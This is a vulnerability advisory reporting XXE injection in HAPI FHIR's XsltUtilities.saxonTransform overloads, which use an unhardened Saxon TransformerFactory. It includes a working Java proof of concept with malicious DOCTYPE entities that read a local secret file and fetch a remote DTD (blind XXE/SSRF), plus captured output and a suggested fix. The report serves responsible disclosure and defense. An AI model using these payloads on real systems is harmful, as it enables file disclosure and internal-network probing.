HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory

Summary

org.hl7.fhir.utilities.XsltUtilities exposes two parallel families of XSLT
transform helpers. The transform(...) overloads obtain their
TransformerFactory from the project's hardened helper
XMLUtil.newXXEProtectedTransformerFactory() (which sets
ACCESS_EXTERNAL_DTD="" and ACCESS_EXTERNAL_STYLESHEET=""). The sibling
saxonTransform(...) overloads instead instantiate a bare
new net.sf.saxon.TransformerFactoryImpl() with no external-access
restriction. A document transformed through any saxonTransform(...) overload
is parsed with external general entities and external DTD/parameter entities
enabled, so an attacker who controls (or can MITM) the transformed XML obtains
XML External Entity injection: local file disclosure and blind XXE / SSRF to
arbitrary URLs reachable from the host.

XMLUtil documents that its protected factory "should be the only place where
TransformerFactory is instantiated in this project". The saxonTransform
overloads violate that contract while their same-file transform siblings
honour it.

Affected versions

org.hl7.fhir.utilities (Maven ca.uhn.hapi.fhir:org.hl7.fhir.utilities)
<= 6.9.8 (latest release at time of report; verified live on 6.9.8).
The bare net.sf.saxon.TransformerFactoryImpl() instantiation is present at
XsltUtilities.java:61, :91, and :106.

Privilege required

None at the library boundary. The exposure depends on the calling tool: any
FHIR component that runs XsltUtilities.saxonTransform(...) over XML whose
source document, embedded DTD, or referenced stylesheet is attacker-influenced
(an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a
MITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before
the Saxon parser sees the bytes.

Root cause

org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java:

// VULNERABLE — bare factory, no external-access restriction (lines 60-73, 90-99, 105-128)
public static byte[] saxonTransform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException {
    TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();   // <-- bare
    f.setAttribute("http://saxon.sf.net/feature/version-warning", Boolean.FALSE);
    StreamSource xsrc = new StreamSource(new ByteArrayInputStream(xslt));
    f.setURIResolver(new ZipURIResolver(files));
    Transformer t = f.newTransformer(xsrc);
    ...
}
public static String saxonTransform(String source, String xslt) throws TransformerException, IOException {
    TransformerFactoryImpl f = new net.sf.saxon.TransformerFactoryImpl();   // <-- bare
    ...
}

// HARDENED SIBLING (same file, lines 75-88 / 130-149) — negative control
public static byte[] transform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException {
    TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // <-- hardened
    ...
}

The hardened helper (XMLUtil.newXXEProtectedTransformerFactory()) is:

public static TransformerFactory newXXEProtectedTransformerFactory() {
    final TransformerFactory transformerFactory = TransformerFactory.newInstance();
    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
    return transformerFactory;
}

The saxonTransform overloads never call this helper and never set the two
ACCESS_EXTERNAL_* attributes, so the underlying parser resolves external
general entities (<!ENTITY x SYSTEM "file:///...">) and external
DTD/parameter entities (<!ENTITY % p SYSTEM "http://attacker/">). This is a
classic CWE-611. The asymmetry — one family hardened, the co-located sibling
family bare — is the bug: the protection that already exists in the same class
was not extended to the saxonTransform variants.

Reproduction (E2E against published Maven Central org.hl7.fhir.utilities:6.9.8)

A self-contained Maven project. pom.xml pulls the latest released artifact,
which transitively brings net.sf.saxon:Saxon-HE:11.6.

pom.xml:

<project xmlns="http://maven.apache.org/POM/4.0.0">
  <modelVersion>4.0.0</modelVersion>
  <groupId>poc</groupId><artifactId>fhir-xslt-xxe-poc</artifactId><version>1.0</version>
  <properties>
    <maven.compiler.source>17</maven.compiler.source>
    <maven.compiler.target>17</maven.compiler.target>
  </properties>
  <dependencies>
    <dependency>
      <groupId>ca.uhn.hapi.fhir</groupId>
      <artifactId>org.hl7.fhir.utilities</artifactId>
      <version>6.9.8</version>
    </dependency>
  </dependencies>
</project>

src/main/java/Poc.java:

import org.hl7.fhir.utilities.XsltUtilities;
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.*;

public class Poc {
  static final String CANARY_MARK = "TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2";
  // identity stylesheet: copies the resolved //data text into the output
  static final String IDENTITY_XSLT =
      "<?xml version=\"1.0\"?>\n" +
      "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n" +
      "  <xsl:output method=\"text\"/>\n" +
      "  <xsl:template match=\"/\"><xsl:value-of select=\"//data\"/></xsl:template>\n" +
      "</xsl:stylesheet>\n";

  public static void main(String[] args) throws Exception {
    Path secret = Files.createTempFile("fhir-secret-", ".txt");
    Files.writeString(secret, CANARY_MARK + " :: " + UUID.randomUUID());

    final List<String> oobHits = Collections.synchronizedList(new ArrayList<>());
    ServerSocket sentinel = new ServerSocket(0);
    int oobPort = sentinel.getLocalPort();
    Thread st = new Thread(() -> {
      try {
        while (!sentinel.isClosed()) {
          Socket s = sentinel.accept();
          BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF_8));
          String line = r.readLine();
          if (line != null) { oobHits.add(line); System.out.println("[SENTINEL] inbound connection: " + line); }
          byte[] body = "<!-- ok -->".getBytes(StandardCharsets.UTF_8); // well-formed empty external DTD
          OutputStream os = s.getOutputStream();
          os.write(("HTTP/1.1 200 OK\r\nContent-Type: application/xml-dtd\r\nContent-Length: " + body.length + "\r\n\r\n").getBytes());
          os.write(body); os.flush(); s.close();
        }
      } catch (IOException ignored) {}
    });
    st.setDaemon(true); st.start();

    // A1: external general entity -> local secret (file read)
    // A2: external parameter entity -> attacker URL (blind XXE / SSRF)
    String maliciousSource =
        "<?xml version=\"1.0\"?>\n" +
        "<!DOCTYPE root [\n" +
        "  <!ENTITY canary SYSTEM \"" + secret.toUri() + "\">\n" +
        "  <!ENTITY % oob SYSTEM \"http://127.0.0.1:" + oobPort + "/evil-fhir-xslt-ssrf.dtd\">\n" +
        "  %oob;\n" +
        "]>\n" +
        "<root><data>&canary;</data></root>\n";
    Path srcFile = Files.createTempFile("fhir-malicious-src-", ".xml");
    Files.writeString(srcFile, maliciousSource);
    Path xsltFile = Files.createTempFile("fhir-identity-", ".xslt");
    Files.writeString(xsltFile, IDENTITY_XSLT);

    System.out.println("=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK " + System.getProperty("java.version") + " ===");
    System.out.println("=== Saxon: " + saxonVersion() + " ===");
    System.out.println("Secret file: " + secret + " (contains " + CANARY_MARK + ")");
    System.out.println("OOB sentinel: http://127.0.0.1:" + oobPort + "/\n");

    System.out.println("---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----");
    try {
      String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString());
      System.out.println("transform output: [" + out.trim() + "]");
      System.out.println(out.contains(CANARY_MARK)
        ? ">>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<<"
        : ">>> canary NOT in output <<<");
    } catch (Exception e) { System.out.println("saxonTransform threw: " + e); }
    Thread.sleep(400);
    System.out.println("OOB sentinel hits after BARE call: " + oobHits + "\n");

    // Direct factory comparison (isolates the hardening difference)
    System.out.println("---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----");
    int b = oobHits.size();
    System.out.println("[bare new TransformerFactoryImpl()]");
    runDirect(new net.sf.saxon.TransformerFactoryImpl(), srcFile, xsltFile, oobHits, b);
    int b2 = oobHits.size();
    System.out.println("[hardened XMLUtil.newXXEProtectedTransformerFactory()]");
    runDirect(org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(), srcFile, xsltFile, oobHits, b2);
    sentinel.close();
  }

  static void runDirect(javax.xml.transform.TransformerFactory f, Path srcFile, Path xsltFile, List<String> oobHits, int before) throws Exception {
    try {
      javax.xml.transform.Transformer t = f.newTransformer(new javax.xml.transform.stream.StreamSource(Files.newInputStream(xsltFile)));
      ByteArrayOutputStream out = new ByteArrayOutputStream();
      t.transform(new javax.xml.transform.stream.StreamSource(Files.newInputStream(srcFile)), new javax.xml.transform.stream.StreamResult(out));
      String s = out.toString(StandardCharsets.UTF_8).trim();
      System.out.println("  output: [" + s + "]");
      System.out.println("  canary leaked: " + s.contains(CANARY_MARK));
    } catch (Exception e) {
      System.out.println("  threw: " + e.getClass().getName() + ": " + String.valueOf(e.getMessage()).replaceAll("[\\u4e00-\\u9fff]", "?"));
    }
    Thread.sleep(300);
    System.out.println("  OOB sentinel hits from this call: " + (oobHits.size() - before));
  }

  static String saxonVersion() {
    try { return (String) Class.forName("net.sf.saxon.Version").getMethod("getProductVersion").invoke(null); }
    catch (Throwable t) { return "unknown"; }
  }
}

Run + verbatim captured output (JDK 17.0.18, Saxon-HE 11.6; CJK in the
hardened-path SAXParseException replaced with ? by the harness for ASCII
display, the message text is accessExternalDTD ... restriction ... 'http' access not allowed):

$ mvn -q compile && mvn -q exec:java -Dexec.mainClass=Poc
=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK 17.0.18 ===
=== Saxon: 11.6 ===
Secret file: /var/folders/.../fhir-secret-467000002121832365.txt (contains TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2)
OOB sentinel: http://127.0.0.1:62466/

---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----
[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1
transform output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]
>>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<<
OOB sentinel hits after BARE call: [GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1]

---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----
[bare new TransformerFactoryImpl()]
[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1
  output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]
  canary leaked: true
  OOB sentinel hits from this call: 1
[hardened XMLUtil.newXXEProtectedTransformerFactory()]
  threw: net.sf.saxon.trans.XPathException: org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 8; ????: ???????? 'evil-fhir-xslt-ssrf.dtd', ?? accessExternalDTD ???????????? 'http' ??.
  OOB sentinel hits from this call: 0

Interpretation of the verbatim output:

• Bare path (saxonTransform and bare TransformerFactoryImpl): the local
  secret file content (TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...) is leaked
  into the transform output (file disclosure), and the OOB sentinel receives
  GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1 (blind XXE / SSRF). canary leaked: true,
  OOB hits = 1.
• Hardened path (XMLUtil.newXXEProtectedTransformerFactory()): parsing the
  same malicious source throws an accessExternalDTD ... 'http' access not allowed SAXParseException and the OOB sentinel receives 0 hits. The only
  difference between the two runs is the factory: the existing project helper
  blocks the attack, the bare sibling does not.

Impact

• Local file disclosure: any file readable by the JVM process is exfiltrated
  into the transform output (demonstrated above with a canary secret file).
• Blind XXE / SSRF: external parameter/DTD entities cause the host to issue
  attacker-directed HTTP(S) requests (demonstrated by the sentinel hit),
  enabling internal-network probing and cloud metadata access from the host's
  network position.
• The saxonTransform overloads are part of the public
  org.hl7.fhir.utilities API consumed across the FHIR Java tooling
  (IG-publisher / validation / conversion utilities); any consumer that routes
  attacker-influenced or MITM-able XML through them inherits the XXE.

Suggested fix

Route the saxonTransform overloads through the same protection the
transform siblings already use. Because these overloads specifically need the
Saxon implementation, obtain a Saxon factory and apply the two ACCESS_EXTERNAL_*
restrictions (mirroring XMLUtil.newXXEProtectedTransformerFactory()), e.g. a
small helper in XMLUtil:

@SuppressWarnings("checkstyle:transformerFactoryNewInstance")
public static TransformerFactory newXXEProtectedSaxonTransformerFactory() {
    final TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();
    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
    return f;
}

and replace each new net.sf.saxon.TransformerFactoryImpl() in
XsltUtilities.saxonTransform(...) (lines 61, 91, 106) with a call to it. This
mirrors the existing newXXEProtected* convention and the class-level mandate
that the protected factory "should be the only place where TransformerFactory
is instantiated in this project". A regression test that runs a DOCTYPE-bearing
source through saxonTransform and asserts the external entity is NOT resolved
should accompany the change.

Credit

Reported by tonghuaroot.